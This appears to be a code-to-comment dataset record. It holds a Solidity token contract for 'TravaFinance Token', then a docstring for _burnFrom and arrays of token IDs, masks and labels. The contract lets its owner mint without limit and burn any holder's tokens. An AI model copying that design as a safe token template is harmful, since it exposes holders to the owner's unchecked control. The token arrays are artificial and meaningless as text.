contract TravaToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 private _decimals; string private _symbol; string private _name; constructor() public { _name = "TravaFinance Token"; _symbol = "TRAVA"; _decimals = 18; _totalSupply = 50 * 10e24; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } /** * @dev Returns the erc token owner. */ function getOwner() external view returns (address) { return owner(); } /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8) { return _decimals; } /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view returns (string memory) { return _name; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view returns (uint256) { return _balances[account]; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {ERC20-allowance}. */ function allowance(address owner, address spender) external view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {ERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) external returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {ERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {ERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function mint(uint256 amount) public onlyOwner returns (bool) { _mint(_msgSender(), amount); return true; } /** * @dev Burn `amount` tokens , decreasing * the total supply. * * Requirements * * - `msg.sender` must be the token owner */ function burn(address _to, uint256 _amount) public onlyOwner returns (bool) { _burn(_to, _amount); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } event Transfer(address indexed from, address indexed to, uint value, bytes data); /** * @dev transfer token to a contract address with additional data if the recipient is a contact. * @param _to The address to transfer to. * @param _value The amount to be transferred. * @param _data The extra data to be passed to the receiving contract. */ function transferAndCall(address _to, uint _value, bytes memory _data) public returns (bool success) { transfer(_to, _value); emit Transfer(msg.sender, _to, _value, _data); if (isContract(_to)) { contractFallback(_to, _value, _data); } return true; } // PRIVATE function contractFallback(address _to, uint _value, bytes memory _data) private { BEP677Receiver receiver = BEP677Receiver(_to); receiver.onTokenTransfer(msg.sender, _value, _data); } function isContract(address _addr) private returns (bool hasCode) { uint length; assembly {length := extcodesize(_addr)} return length > 0; } }
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted from the caller's allowance. See {_burn} and {_approve}./
function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance")); } event Transfer(address indexed from, address indexed to, uint value, bytes data);
8,049,400
[ 1, 9378, 28599, 1375, 8949, 68, 2430, 628, 1375, 4631, 16586, 8949, 68, 353, 1508, 11140, 853, 329, 628, 326, 4894, 1807, 1699, 1359, 18, 2164, 288, 67, 70, 321, 97, 471, 288, 67, 12908, 537, 5496, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 389, 70, 321, 1265, 12, 2867, 2236, 16, 2254, 5034, 3844, 13, 2713, 288, 203, 3639, 389, 70, 321, 12, 4631, 16, 3844, 1769, 203, 3639, 389, 12908, 537, 12, 4631, 16, 389, 3576, 12021, 9334, 389, 5965, 6872, 63, 4631, 6362, 67, 3576, 12021, 1435, 8009, 1717, 12, 8949, 16, 315, 654, 39, 3462, 30, 18305, 3844, 14399, 1699, 1359, 7923, 1769, 203, 565, 289, 203, 377, 203, 565, 871, 12279, 12, 2867, 8808, 628, 16, 1758, 8808, 358, 16, 2254, 460, 16, 1731, 501, 1769, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]